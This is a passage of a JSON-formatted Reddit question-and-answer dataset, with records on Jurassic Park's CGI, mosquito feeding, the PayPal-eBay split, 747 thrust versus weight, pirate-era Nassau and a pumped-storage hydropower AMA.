CGI department.", "200 cgi shots. For contrast, phantom menace, 6 years later, had almost 5,000. ", "This is prob buried but what the hell... \n\nFrom talking with people who helped make Jurassic Park there was a special rendering method that was used as well at the time. Its when CGI was first being discovered. They went so hardcore on the rendering that the t-rex actually renders line by line vertically.... as if a the t-rex had = lines like such all up and down it... it rendered each bit separately. This technique for rendering actually came from car companies that started designing cars digitally. \n\nThe t-rex took a retarded amount of time to render all its frames. ", "VFX artists were once captains of industry.  That industry has turned into a gateway of underpaid.. expendable.. unrepresented artists. (basically no union unlike every other facet of filmmakers)   \n\nMost of which are brought on young as interns, and spit out once you ask for a raise.\n\nMost VFX studios fight tooth and nail for the lowest possible budget to gain the work that will then pay the artists peanuts and the owners of the studios very nicely.\n\nIf you look at the great leaps in VFX of the last 20 years, generally those leaps are accomplished through software polishing and breakthroughs in software applications.. and has little to do with actual advances in the collective artistry.\n\nBut yea. cuz Spielberg knows how to use VFX too. ;)\n", "Also because there were actual animatronic dinosaurs, filmed in the same locations, with the same lighting, there was a specific look that the CG artists had to match. This is why movies that use as many practical effects as possible to match with the CGI, have CGI that looks much more believable. Jon Favreau talks about it well in the making of the original Iron Man.", "They also had most of a full-scale animatronic t-Rex for the closeup scenes in the jeep.", "So many comments but what is CGI?", "I'm late to the party but one aspect that a lot of people forget is that the makers simply *didn't trust* CGI.\n\nThe dinosaurs in the movie were originally planned to be stop motion until Spiegberg was convinced to give CGI a try after seeing a demonstration with a flock of CGI dinosaurs running through a field.\n\nSo here's the thing, because CGI at this scale was so unproven, they were very, very cautious about how to use it. There's the well known approach of using physical animatronics for all of the close ups (where physical fx look more real) and CGI for many of the full body shots (where physical fx can't replicate full body motion as convincing as digital animation). They also used a lot of tricks like darkness and rain to blend the fx shots into the movie.\n\nBut more importantly, they did a huge amount of detail work to convince you that the dinosaurs are really there, interacting with the world. Throughout the movie you see details like...\n\n* The brachiosaurus in the beginning is pulling leaves from the tree, really yanking on those branches\n* The triceratops acts like a real animal, it needs a veterinarian, it breathes, it shits. Doctor Grant can lie on top of it's side and he's lifted up and down with it's breathing\n* The T-rex eats a goat and drops the left overs on the car\n* It makes the water in the glass vibrate\n* It physically snaps the wires in the fence\n* It's foot steps sink into the mud\n* It's pupils contract and dilate when Tim shines a light in them\n* It's breath blows off Grant's hat\n\nThey went through a huge amount of set up to convince you that these are living, breathing animals with a realness to them. When you see the T-rex attack the cars it's no longer a monster that finally shows up for some kills, it's a real animal.\n\nStan Winston pointed out that later in the movie the rex looks a lot worse and less convincing in broad daylight without the darkness and rain blending it's fx footage and without all the animatronic close ups. But it doesn't matter because at that point the movie already convinced you that it's real and your mind accepts it.\n\nJurassic Park's CGI isn't nearly as impressive as people think. It's not simply the clever mixture of physical fx and CGI either. Jurassic Park is so convincing because even the maker's didn't trust CGI to carry the day so they spend a ton of effort putting in all these little touches that makes it feel more real.\n\nThe CGI in later Jurassic Park movies is much better and at the same time much less convincing because they don't take these steps. Just look at the most recent JP trailer. The CGI is 21 years newer than the original movie and it looks entirely unconvincing in the trailer because all they do is: BAM! Monster in your face.", "Probably because they didn't deliberately go overboard with it. It was careful and not over the top. Too much destroys the reality, but with just enough, like in Jurassic Park, the CGI does half of the work, your brain does the rest. ", "You should see the Blu-ray version of Alien (1979). One of the most visually beautiful movies hands down. The set pieces, effects etc, are just amazing.", "If you go back and watch the Blu-Ray or Special Edition DVD of Jurassic Park it has a HUGE amount showing how they did a lot of the effects. Not to try and retread what a lot of people already said but yeah a lot more of the movie is animatronics than you would realize and the dinosaurs for the most part are made during the dark and uses a graphical technique called bump-mapping which is easy to make more realistic, it's something that is used quite a bit still in effects and games today but they way they did it in the movie was typically out of focus or with blurred motion shots. When the Gallimimuses are running in the field with Dr Grant and the kids though I'd say that is the closest you get to not believing what you are seeing is real because of the day light but even so, the focus is directly on Dr Grant, and the kids with the dinosaurs out of focus as they whiz by. I remember seeing this movie in theatre as a kid and wanted to be a paleontologist for the longest time. Incredible movie, incredible actors, crew, etc. One of my top 5 of all time. Hope Jurassic World is good!", "Former VFX artist here...\nToday's movies have scenes and action SO over the top and extreme, that your brain / eyes cannot suspend their disbelief.  When cameras, characters and creatures are doing things that break all laws of physics, logic and even rules within the film's own story, your brain is much more critical of the entire illusion.   Jurassic Park's action was very grounded in reality, and it's visual effects were carefully approached to assist in the grounded illusion of Dinosaurs roaming the earth.   (Today's big VFX movies mostly consist of superheroes moving at speeds and doing physical action that is so beyond belief, your brain which has experienced the real world, cannot believe it, unless your 5 years old, or stupid)", "because the guitar player from tool helped with the special effects.  true story.", "Didn't Adam Jones work on Jurassic park?", "A lot of the creatures are animatronics created by Stan Winston. Especially theT-Rex, check this video out _URL_0_", "Because a good artistic eye is more important than the latest technology. ", "Green screen acting has ruined all movies and special effects.. I'm blown away everytime I watch the scene from star wars where luke blows up the death star, knowing that they did that in a walmart parking lot by driving a truck past a mockup of the deathstar setup on saw horses and threw M80's at it to get the explosions.  That's movie making, not some bull shit green screen and a computer.", "I thought it was because lots of older movies relied on anami-tronics and actual props more than they do now.", "I have to say it is holding up really well despite it's age.  Let's not look at movies like Phantom Menace. . .", "It also wasn't all CG, either. A lot of it was animatronics and puppeteering. I think that added a 'real' factor, such as the triceratops that was sick and laying down on the ground after eating the poisonous berries. ", "I think it's because CG was still fairly new then and they wanted the effects to look as realistic as possible, while today studios just want to \"WOW\" the audience with over-the-top effects.\n\nLike JJ Abrams. Just how many lens flares is he going to put in a movie? His artistic vision seems very immature, like a 15 year old with Photoshop in 1998 (that's when all the kiddies began downloading warez and seemingly every photoshopped picture contained the basic effects like lens flare)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.youtube.com/watch?v=KWsbcBvYqN8"], [], [], [], [], [], ["https://www.reddit.com/r/movies/comments/2ndx0r/the_full_jurassic_world_trailer/cmcs22y"], [], [], [], [], ["https://www.youtube.com/watch?v=Hyfy8rrfOkM"], [], ["https://www.youtube.com/watch?v=3sHMCRaS3ao", "https://www.youtube.com/watch?v=xNLtPLFECNw", "https://www.youtube.com/watch?v=PJlmYh27MHg"], [], [], [], [], ["http://i.imgur.com/OwP6Wg9.jpg"], [], [], [], [], [], ["http://www.imdb.com/title/tt0107290/trivia"], [], [], [], [], [], [], ["http://youtu.be/jAzQr3Ml0UI"], [], [], [], [], ["https://www.youtube.com/watch?v=PgixhKfH1w4"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://youtu.be/B4J9TBlFxAg"], [], [], [], [], [], []]}
{"q_id": "mzybu", "title": "Can you trap a mosquito by flexing the muscle it's drinking from?", "selftext": "A friend of mine said that if you were to wait until the mosquito is drawing blood and you clench your muscle then the mosquitos proboscis (sic) wouldn't be able to retract and that you could make it die from too much blood. I was skeptical, but I don't know insects so... what have you guys got for me?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzybu/can_you_trap_a_mosquito_by_flexing_the_muscle_its/", "answers": {"a_id": ["c35787d", "c357evl", "c35as88", "c35c5r3", "c35787d", "c357evl", "c35as88", "c35c5r3"], "score": [4, 15, 3, 3, 4, 15, 3, 3], "text": ["A mosquito doesn't need to use very much suction while drawing blood. Our blood pressure is high enough that once our skin in pierced by the proboscis blood will naturally force it's way up and into the mosquito. The hypothesis is that by flexing your muscle while a mosquito feeds the spike in blood pressure is sufficient enough to force blood into the mosquito quick enough to kill it. However, common sense says this isn't quite true. Some humans naturally have higher blood pressure than others, and at any time different muscles have different blood pressure than others depends on how flexed or extended they are. If have a muscle flexed cause a sufficient enough spike in pressure to kill it, then you would expect mosquito who bit the flexed muscle of a higher blood-pressured person to die instantly, which doesnt happen.\nHowever, if your muscle is relaxed when you get bitten and then you flex it the change in the tension of your skin may be enough to trap the mosquito in place.\n\nIt's hard finding a source on this, the best i've found so far is a comment on the discovery forum by an entomologist, i'll update with a better source later ", "Short answer: It's unlikely.\n\nLonger answer: If you look at a [mosquito's proboscis](_URL_0_), it's essentially a very thin, sheathed needle; it lacks the barbs or spurs you might see in other types of blood-feeding arthropods (ticks, for instance). Given this construct, you would have to apply quite a bit of pressure for it to get stuck.\n\n\nIf you wanted to see a mosquito burst, you would probably have to disrupt their abdominal nerves or modify their gut in some way.\n", "Former Winnipeger here. Here's what actually happens: If you let the mosquito bite you and just watch it, it will use its legs to extract its proboscis and fly away. If you try to trap it by flexing a muscle or pinching the skin around it or whatever, the mosquito will do the exact same thing except it will flap its wings to get away (if it is unable to do so merely by floundering about a bit more). I have tried this dozens if not hundreds of times and have yet to get a mosquito to burst. This includes preventing it from flying away and attempting to squeeze blood into it. \n\nI hate the things and have been bitten a bazillion times, so trying to engineer an interesting demise for them once they've gotten their greedy snout in me was somewhat of a hobby.", "I'd like an entomologist to back me up here, because I don't know the length of a proboscis. However, I do know something about the human epidermis and dermis. People don't realize it, but the layer covering muscle is actually very thick. There are five layers of epidermis (corneum, lucidum, granulosum, spinosum, basale), and most of these layers can be many cell layers thick. This is then followed by a very thick layer of dermis. There is also a pretty thick layer of subcutaneous fat (exceptions are the palms of the hands and the skin covering the penis, which do not have subcutaneous fat). In most spots on the body, the proboscis would have to be significantly longer than the entire mosquitoes body to be able to get through to muscle. If it doesnt even puncture the muscle, I can't imagine flexing the muscle would affect it at all.\n\nSource: first year medical student classwork and anatomy dissection.", "A mosquito doesn't need to use very much suction while drawing blood. Our blood pressure is high enough that once our skin in pierced by the proboscis blood will naturally force it's way up and into the mosquito. The hypothesis is that by flexing your muscle while a mosquito feeds the spike in blood pressure is sufficient enough to force blood into the mosquito quick enough to kill it. However, common sense says this isn't quite true. Some humans naturally have higher blood pressure than others, and at any time different muscles have different blood pressure than others depends on how flexed or extended they are. If have a muscle flexed cause a sufficient enough spike in pressure to kill it, then you would expect mosquito who bit the flexed muscle of a higher blood-pressured person to die instantly, which doesnt happen.\nHowever, if your muscle is relaxed when you get bitten and then you flex it the change in the tension of your skin may be enough to trap the mosquito in place.\n\nIt's hard finding a source on this, the best i've found so far is a comment on the discovery forum by an entomologist, i'll update with a better source later ", "Short answer: It's unlikely.\n\nLonger answer: If you look at a [mosquito's proboscis](_URL_0_), it's essentially a very thin, sheathed needle; it lacks the barbs or spurs you might see in other types of blood-feeding arthropods (ticks, for instance). Given this construct, you would have to apply quite a bit of pressure for it to get stuck.\n\n\nIf you wanted to see a mosquito burst, you would probably have to disrupt their abdominal nerves or modify their gut in some way.\n", "Former Winnipeger here. Here's what actually happens: If you let the mosquito bite you and just watch it, it will use its legs to extract its proboscis and fly away. If you try to trap it by flexing a muscle or pinching the skin around it or whatever, the mosquito will do the exact same thing except it will flap its wings to get away (if it is unable to do so merely by floundering about a bit more). I have tried this dozens if not hundreds of times and have yet to get a mosquito to burst. This includes preventing it from flying away and attempting to squeeze blood into it. \n\nI hate the things and have been bitten a bazillion times, so trying to engineer an interesting demise for them once they've gotten their greedy snout in me was somewhat of a hobby.", "I'd like an entomologist to back me up here, because I don't know the length of a proboscis. However, I do know something about the human epidermis and dermis. People don't realize it, but the layer covering muscle is actually very thick. There are five layers of epidermis (corneum, lucidum, granulosum, spinosum, basale), and most of these layers can be many cell layers thick. This is then followed by a very thick layer of dermis. There is also a pretty thick layer of subcutaneous fat (exceptions are the palms of the hands and the skin covering the penis, which do not have subcutaneous fat). In most spots on the body, the proboscis would have to be significantly longer than the entire mosquitoes body to be able to get through to muscle. If it doesnt even puncture the muscle, I can't imagine flexing the muscle would affect it at all.\n\nSource: first year medical student classwork and anatomy dissection."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.astrographics.com/GalleryPrints/Display/GP2108.jpg"], [], [], [], ["http://www.astrographics.com/GalleryPrints/Display/GP2108.jpg"], [], []]}
{"q_id": "35uluh", "title": "why are pay pal and ebay splitting ? what does this mean for me as a seller and buyer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35uluh/eli5_why_are_pay_pal_and_ebay_splitting_what_does/", "answers": {"a_id": ["cr7yh56", "cr80lhk", "cr8auc7", "cr8diss", "cr8fyy2", "cr8hsuq", "cr8i429", "cr8it49", "cr8nj4k"], "score": [321, 5, 10, 5, 3, 4, 5, 4, 2], "text": ["Up until now, PayPal has basically just been a division operating under eBay, but it has the potential to grow much larger than that but in some ways is hindered by the fact it's part of eBay and, for example, cannot make deals with other companies that may have competing interests.\n\nPayPal is now going to split and form its own company that is an entirely separate entity. This allows eBay to explore the possibility of accepting and integrating with other payment services and allows PayPal to negotiate business deals with other companies that may directly or indirectly compete with eBay.\n\nThere will almost certainly be a one year (or longer) transition period where basically nothing changes for the buyer or seller on eBay. After that, other payment options may be added... but from what I've read, eBay and PayPal will continue to work together to handle payments on eBay for ~6 years at which point the companies will re-evaluate whether to continue working together (and it's at that point Paypal potentially may no longer be a payment option on eBay).\n\nThe agreement between the two companies also prevents eBay from making their own competing payment service and further prevents PayPal from making an eBay like marketplace.", "In the short term, not much. Maintaining present functionality will be important to both companies. They've dealt with this before. PayPal used to be a separate company, in fact, and eBay bought them and merged them. It still worked fine, even through the transition. \n\nIn the long term, who knows? Probably more payment methods on eBay, and PayPal is free to make its own choices. It's highly unlikely that they'll stop the eBay partnership altogether. ", "The primary reason is that PayPal is likely more valuable as a separate entity than as part of eBay.  (1) Many investors in eBay (most vocally Carl Icahn) have been asking for this for years. Their viewpoint is that PayPal's growth is be negatively affected since being a part of eBay limits who and how they can do business. (2) Another reason is that the payments sector has been hot for the last couple of years and payments companies have been receiving higher valuations than online marketplace names.  (3) Lastly (not really but I'm tired of typing on my phone) being a separate entity will make PayPal easier to acquire for someone like Looking to get into or increase their exposure to online / mobile payments (Visa etc.)\n\nFrom your perspective as someone who uses eBay there shouldn't be much change for a while. Usually the way these things generally work is that the parent company (eBay) maintains a majority stake in the company spun out (PayPal) so it will have board representation and influence for awhile.  If you are super duper interested and motivated you can go through eBays filings (EDGAR on _URL_0_) and see how they address it on their investor calls / K's / Q's etc.", "PayPal accounts for a majority of beats profits and revenue as such they're splitting as they're 'too big' to stay with eBay. Allowing both to proceed within their industries. As mentioned it allows eBay to make deals with other payment firms and PayPal to do likewise with retailers. \n\nBeing held back by eBay is bad for PayPal with the growth of Google wallet and the Apple ipay service so by being a separate entity can now generate its own revenue and investment to fund growth, acquisitions and stuff. \n\nThey'll stay closely linked as they both are, for now, reliant on each other for a majority of their revenues. I just did a uni piece on it, ebays last year financial statements have simple diagrams illustrating how much they gain from PayPal alone and the figure is a lot!", "They simply are no longer sympatico. Pay Pal has different feelings that are not reciprocated by eBay and there may be another payment processing company. What's important is that you'll stay with Pay Pal on weekends but be with ebay on weeknights after school and for Christmas/Summer vacation.", "If you've heard that PayPal can be shitty to deal with, that's nothing compared to how scammy and fraudulent PayPal was before eBay bought them, because eBay wanted its customers have a quality experience and it required PayPal to deliver on that.\n\nIf the past is anything to go by, a PayPal freed from eBay will become a blood sucking monster.", "EBay is on a dying path, but Paypal still has some worth left. They are separating before EBay inevitably sinks. EBay has no intention of accepting alternative payment methods. They've fought for years to force people to use Paypal. End of story. Source: power seller for 15+ years.", "The last time I used ebay to sell something (don't remember what it was) about 80 dollar item.  I received a complaint from eBay that the buyer never received the item and that I would have to provide proof that they were delivered.  \n\nI advised the buyer requested no track shipping because I was shipping from Canada to America and it was an extra 20 or so bucks to add tracking,  I did however have the receipt from the Canadian post office showing the description of the item being shipped, weight, location shipped to.\n\nEBay/PayPal responded saying unless they had a signature from the buyer  &  the buyer admitting they received the item they had to side with them because i clearly never shipped the item and was scamming people. So they refunded the full amount payed from my bank account which was linked to the PayPal.  \n\nI've refused to use either service since.  Granted I realize they weren't the ones scamming me,  but they made it very easy to do and after going through troubles like that once and the piss poor customer service I refuse to hand over any more money to either company. ", "In the words of Elon Musk, Paypal and Ebay are splitting because \u201cIt doesn\u2019t make sense that a global payment system is a subsidiary of an auction website\u2026 It\u2019s as if Target owned Visa or something\u201d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["SEC.gov"], [], [], [], [], [], []]}
{"q_id": "1ma22x", "title": "How is it possible for a 747-400 weighing over 800,000lbs to be propelled by engines that produce (in total) just under 250,000lbs of thrust?", "selftext": "I know this should be simple but I'm curious.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ma22x/how_is_it_possible_for_a_747400_weighing_over/", "answers": {"a_id": ["cc778zz", "cc77b51", "cc77h44", "cc7jb4h"], "score": [37, 3, 18, 2], "text": ["In aerodynamics there are four main forces.  In the x direction there is thrust and drag.  In the y direction there is lift and weight.  For the plane to be in equilibrium (or level unaccelerating flight) the weight must equal the lift and the drag must equal the thrust.  So the reason is simply that thrust doesn't have to equal weight.  \rThis begs the question: how is that much lift created by such little thrust?  The thrust accelerates the plane in the y direction, the wings generate lift proportional to the speed of the air flowing over them.  This can easily be higher than the amount of thrust in the engine due to efficient air foils (or wings).  \rSource: aerospace engineering student.  I tried to simplify", "Lift and drag are both forces and have the same units.  Aircraft wings produce more lift than drag.  In steady level flight, thrust equals drag so the engines can get away with creating much less thrust than the total weight of the plane.", "It's not trying to lift it off the ground vertically - ie without the help of the wings, like a rocket. \n\nThere are fighter jets that have more thrust than weight. They  > can <  go straight up in the air.", "Planes don't need thrust greater than their mass to move, they only need enough thrust to initiate motion and get over the threshold set by friction from the tyres and air. \n\nThe main purpose of the engines is not to give the plane lift, it is actually to accelerate the plane to a high enough velocity for take off. The wings themselves that the engines are usually attached to generate the lift. Due to the shape of the wings, once the plane has attained a certain speed (normally quite a high speed) lift will be generated. This is because the air under the wings travels at a relatively low speed compared to above the wing, and so the air below is a higher pressure than the air above the wing. This difference in pressure above and below the wing generates the lift of the wings, and the lift produced is proportional to the velocity of the air travelling over and under the wings, which is the planes velocity, caused by the engines. This effect is described well in [this picture](_URL_0_). \n\nIn the case of a rocket, the lift generated by the engines has to be greater than the mass of the rocket itself because it is acting directly against gravity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.daviddarling.info/images/airfoil_and_lift.jpg"]]}
{"q_id": "6cqd0n", "title": "What was Nassau like on a day-to-day basis in 1717-1718?", "selftext": "Okay, this is my first real post on Reddit. I've been googling for a good portion of the day, and I searched on here and couldn't find an answer.\n\nContext: I'm writing a historical fiction novel about piracy in 1717-1718. A huge hard science fiction (read: Andy Weir) fan, I wanted to try to nail the details as accurately as I could, and if not, nail the mood and tone.\n\nSo, I'm quite a ways into this book, and I realize that I have no idea what day-to-day life in Nassau would be. Several captains at the time spent countless days just chilling, apparently, before setting sail and going off for raids.\n\nI do have the book \"The Republic of Pirates\" by Colin Woodard, but it doesn't get into specifics.\n\nIf anyone knows any of the following, or have a best educated guess, I would be incredibly interested in hearing it:\n\nBeing a free republic, but still trading with Hog Island / Bahamas, did pirates, privateers, and old townsfolk of Nassau pay for things? Did they eat only fish they'd catch, or did they rely on pirates to come back with barrels of pork and beef? Where did residents get their money, through trade only? \"I caught this fish, I'll trade for that fabric.\"\n\nDid any taverns or alehouses have their own imported alcohol, or again, did they rely on buying stolen alcohol from pirates? Did the pirates just give the citizens stuff like booze, food, clothing from their own plunders?\n\nThanks in advance, and sorry if this was posted in the wrong spot. I greatly appreciate any help with my book.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cqd0n/what_was_nassau_like_on_a_daytoday_basis_in/", "answers": {"a_id": ["dhwl7f6"], "score": [3], "text": ["Have you consulted the *Journal of the Bahamas Historical Society*? IIRC, they publish annually. You might simply call the society and ask for their recommendations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "chm70g", "title": "AskScience AMA Series: We're from the Pacific Northwest National Laboratory and we research pumped-storage hydropower: an energy storage technology that moves water to and from an elevated reservoir to store and generate electricity. Ask Us Anything!", "selftext": "We are Dhruv Bhatnagar, Research Engineer, Patrick Balducci, Economist, and Bo Saulsbury, Project Manager for Environmental Assessment and Engineering, and we're here to talk about pumped-storage hydropower.\n\n\"Just-in-time\" electricity service defines the U.S. power grid. That's thanks to energy storage which provides a buffer between electric loads and electric generators on the grid. This is even more important as variable renewable resources, like wind and solar power, become more dominant. The wind does not always blow and the sun does not always shine, but we're always using electricity. \n\nPumped storage hydropower is an energy storage solution that offers efficiency, reliability, and resiliency benefits. Currently, over 40 facilities are sited in the U.S., with a capacity of nearly 22 GW. The technology is conceptually simple - pump water up to an elevated reservoir and generate electricity as water moves downhill - and very powerful. The largest pumped storage plant has a capacity of 3 GW, which is equivalent to 1,000 large wind turbines, 12 million solar panels, or the electricity used by 2.5 million homes! This is why the value proposition for pumped storage is greater than ever.\n\nWe'll be back here at 1:00 PST (4 ET, 20 UT) to answer your questions. Ask us anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/chm70g/askscience_ama_series_were_from_the_pacific/", "answers": {"a_id": ["euv19b6", "euv84iz", "euv9vyl", "euvdw3n", "euvmtho", "euvn6aw", "euvpvlk", "euvrh69", "euvt0kk", "euvt7gg", "euvvw19", "euw0e4a", "euw0ysr", "euw1dpp", "euw1g2n", "euw2r1a", "euw4fwo", "euw4zft", "euw5cb3", "euw6v5z", "euw7cw1", "euw7pep", "euw7xwf", "euw8pcn", "euw9s8v", "euwafth", "euwees8", "euwgalk", "euwokzp", "euwpjzi", "euwtga5", "eux3av3", "eux3t6j", "euxjkiz", "euyherg", "ev2vd0s", "evjndv4"], "score": [18, 4, 7, 197, 11, 2, 9, 3, 40, 2, 5, 7, 2, 51, 2, 2, 8, 2, 17, 6, 2, 3, 3, 2, 11, 9, 2, 2, 2, 5, 14, 4, 7, 2, 2, 2, 2], "text": ["Thank you for doing this AMA.\n\nAs with all projects involving creating an artificial reservoir/raising the level of natural reservoirs, there are certainly environmental impacts as the surrounding ecosystem changes due to the extra water. Are there any studies done on this impact and any measures taken to choose proper storage locations?", "Is Dinorwic still the exemplar, or have things moved on since then?", "What is the intended use of these types of storage systems -- e.g., is the most likely application a single daily cycle to shift an alternative off-peak source to serve peak demand?  Or, as your intro suggests, more of a buffer for balancing load?\n\nAre these systems dependent on favorable geological features? If so, how widely available are potential sites?\n\nIn that context, what is the fully loaded cost for the system and how much supply would a grid need/want to have?\n\nFinally, what are examples of projects recently built?  Was there case-specific rationale behind why they were made?  What technological improvement and change in cost/capacity have there been in these projects versus ones made a generation ago", "Let's say you get 1 GWHr from the grid to pump water uphill.  How much energy would you be able to return to the grid when the same volume you pumped uphill comes through the turbines?  What's the round trip efficiency?", "What questions are at the forefront of research in this area, and what are you focusing your efforts on?", "Do you guys have a goal on how much electricity you want generated by pumped-storage hydropower throughout the US? If so, how rapidly is this method being built in to places around the country? Also, do you hope to do away with other efficient methods like turbines and solar power, and have pumped storage hydropower dominate? Or have a combination of both?", "What is the figure of merit for energy storage? Megawatt-hours per cubic meter or something? And for that figure, how does pumped hydro compare to the best batteries and things like hydrogen water splitting?", "with the average systems, what is the \"fuel density\"\n\nof the water, when it's used to generate power", "Are reservoirs generally an open lake-like storage? Do you know what the environmental impacts of creating reservoirs are?  Do species like fish, birds, and insects make the reservoir their home, or is that discouraged due to the impermanent nature of the reservoir?", "I saw that oregon and Washington have several projects utilizing this storage in the books, so good for you for either getting the projects or at least helping inspire them.\nI was wondering about the impact of evaporation on the efficiency, if any water is exposed, and if exposure may be worthwhile in cool/wet regions to collect precipitation at the elevated reservoir?", "I've read that there are no longer many areas left where this can be implemented for a natural reservoir, is this false? Do you think there's any way to do this with a man-made structure?", "How does this compare to Gravity Storage using Concrete Blocks stacked like a skyscraper?", "Hi, thanks for doing this! I know tidal power plants are a separate mechanism but is there a way to use tides in certain similar locations to aid in the pumping of water up to a reservoir?", "Thanks for doing this! I just watched [this excellent talk](_URL_0_) by Jesse Jenkins at the University of Pennsylvania which talked about how \"flexible base load\" is the missing piece of our future energy grid and how pumped hydro is one of the few technically feasible options we have. \n\n1. what's the average % energy loss from the 2 transitions? (electrical  >  gravitational potential  >  electrical). Wikipedia says 70-80% efficient, so 20-30%?\n2. what's the average cost / GW of installed capacity and does this have potential to drop dramatically?\n3. Are the \\~40 reservoirs isolated enough that the transmission losses there and back are significant? For example, I live in Qu\u00e9bec, which uses (I believe) 765kV transmission lines to move the enormous amount of electricity from the hydro projects in the north. Many of these travel 2000km just to get to Southern Qu\u00e9bec, and must travel another \\~1000km to get to the NE of the US which I assume would be the primary market for hydro storage in a future high % solar/wind continental grid. \n4. what's the realistic upper limit of pumped storage capacity in the US, Canada, and globally? (is your 22GW the number for US?)\n5. what is the biggest limiting factor for potential sites? based on the formula, stored energy is related linearly to both elevation difference and mass (ie. volume). They must be at a high altitude, with a natural basin to reduce cost (I assume). It is possible to say, pick a high mountain range and place dams in the gaps? Assuming such a geographically perfect site existed and wasn't ruining a national park), would the hydrostatic pressure at the bottom just render the entire thing too expensive? I think what I'm getting as is - does the ideal reservoir have a limited depth but a large surface area to maximize total volume?\n6. I assume pumped storage is the best energy storage solution we have with current technology. Are there any others which are promising (sodium-sulphur for example?)\n7. when you say capacity of 3GW, do you mean GWh or GW? if it's GW, what exactly does that mean? that the pumps at that site have the potential to absorb 3GW of extra generation (so 3GJ per second or 3GWh per hour?). If so, what is the actual energy storage (not per unit time) and why do you use GW instead?", "Regarding the timing of generation (or other water release) - are there regulations about the pacing of ecological flow? Or are all restrictions volume-based? This is especially for generation of peaking power - is there concern for downstream ecosystems with the inconsistent flows?", "How small can these facilities get? A lot of natural reservoirs are either already developed or environmentally important.  Large manmade reservoirs are a massive engineering challenge. \n\nMy thought is that smaller storage facilities could be implemented in more places, even those that don't have access to natural reservoirs.", "I\u2019m sorry if this is a dumb question but does this system only work if there\u2019s some sort of hill or mountain nearby right? I imagine that this system takes up a lot of space so building a giant \u201cwater tower\u201d would never be feasible right?", "I worked on the cavern integrity design of an underground pumped storage project about a decade ago. Sadly the project died. Has there been a successful underground pumped storage project completed anywhere?", "How is this data not already known?\n\nPumped-storage hydropower has been used for decades.", "Water is the most abundant liquid for this, but is it the best? Would another liquid work more efficiently? And would you just use regular ol' groundwater or process it somehow?\n\nMy partner and I were just discussing this the other day. Thanks for your work!", "I am famaliar with the pumped storage facility in Ludington, michigan. I know that facility has had issues with fish intrainment. Is this a problem you have addressed? And if so, how?", "If solar panels were spread out across the top of the dam reservoir how much colder does the water get below the panels and could this cooling effect help salmon survival below the dams? As snow packs worldwide become less thick will this pumping solution be a way to maximize use of the dwindling snowpack? And how much water could be pumped back into the reservoir if solar panels were set up along the surface of the hoover dam itself? Could the existing dam support the extra weight of these solar panels on the south side AND the extra water and weight of floating solar on the reservoir? How do you reinforce the existing dam to account for additional weight?", "Could this technology be scaled down? Say to replace home battery systems via a water tank on the side of the house? If so, what scale does this technology surpass storage systems such as lithium-ion batteries?", "Here's a potential brain-twister: if said reservoir is open to the elements, how much energy would a good rainstorm deposit? How many kilowatts would an inch of rainfall add?", "Piggybacking on /u/dashwsd posted earlier.\n\nWould these be feasible to implement at a super small scale such as at a residential house?  If a house stores several hundred gallons of rain water for their garden is there any system in the works that could let them use the water in the storage tanks and turn it into electricity before being distributed to the garden?", "What kinds of environmental concerns are associated with this type of power generation? I recall a reservoir breach at the Taum Sauk facility in Missouri that wiped out a large area down the mountainside.", "I've been able to tour this facility before.   [_URL_0_](_URL_0_) \n\n & #x200B;\n\nSuper amazing, just here to pass along the kudos on your work.", "FYI :A couple of links from my bookmarks about power storage\n\n\n_URL_0_\n\n_URL_1_", "Researchers from Australian National University released a [report](_URL_0_) a couple of months ago identifying over 500,000 potential sites for pumped-storage hydropower around the world and claiming that only a small fraction of these sites (  < 1%) would be needed to meet world energy storage demands in the future. Do you all think that pumped-storage hydropower has this kind of potential? If it does, what are the big blockers standing in the way of its widespread adoption?", "What is the smallest scale at which this technology remains worthwhile?  Would it ever be conducive to residential or \"off-grid\" homes, especially those without a (mostly) naturally-formed reservoir where some sort of water tower must be constructed?", "Is evaporation a noticeable issue as the scale of storage increases?", "Would there be an efficiency advantage to using windwills mechanically pumping vs generating power to run electric pumps?  Which method is typically used for pumped-storage?", "Thank you for doing this AMA! I live close to the Ludington Pumped Storage plant in MI, one of the largest existing, and got a tour! I've been pumped about energy storage since.\n\nMy question: What steps do you believe need to be made in a governmental or regulatory settings to encourage the use of pumped energy storage on a wider scale? What are the biggest challenges in making a technology like this widespread?", "Seems like conservation of energy would mean you use just as much power to pump uphill as you gain", "How does the net storage efficiency of this approach (losses from friction in the water transmission system and conversion back to electricity) compare to that of storage batteries?  \n\nI realize there are drawbacks to batteries such as limited life (# of usable cycles) but the double conversion of electricity to mechanical and back seems like it would be costly in terms of efficiency.", "Thanks for not answering my question.", "Is the energy required to pump the water to the reservoir equal to the amount of energy generated by that water when it turns the turbine?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["https://youtu.be/InSIuGRDh_c"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.consumersenergy.com/company/what-we-do/electric-generation/pumped-storage-hydro-electricity"], ["https://www.youtube.com/watch?time_continue=6&amp;v=6Jx_bJgIFhI", "https://interestingengineering.com/concrete-gravity-trains-may-solve-energy-storage-problem/"], ["https://www.anu.edu.au/news/all-news/anu-finds-530000-potential-pumped-hydro-sites-worldwide"], [], [], [], [], [], [], [], []]}
